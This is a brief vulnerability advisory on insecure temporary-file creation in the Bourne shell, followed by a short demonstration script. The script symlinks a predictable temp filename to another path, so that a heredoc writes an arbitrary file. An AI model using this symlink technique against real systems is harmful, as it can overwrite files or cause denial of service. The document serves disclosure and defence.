|
|
| |
| Bourne Shell /bin/sh creates temporary files in an insecure way. This can be exploited to create arbitrary files or to overwrite existing ones. While this vulnerability can be exploited for a Denial of Service attack, it is not yet clear whether it can also be used to gain additional privileges. |
| |
Credit:
The information has been provided by Paul Szabo.
|
| |
Demonstration:
#!/bin/sh -x
ls -l /tmp/nologin
ln -s /tmp/nologin /tmp/sh$$0
cat <<EOF
Only root can create /etc/nologin.
Do any boot-time scripts use sh?
EOF
ls -l /tmp/nologin
|
|
|
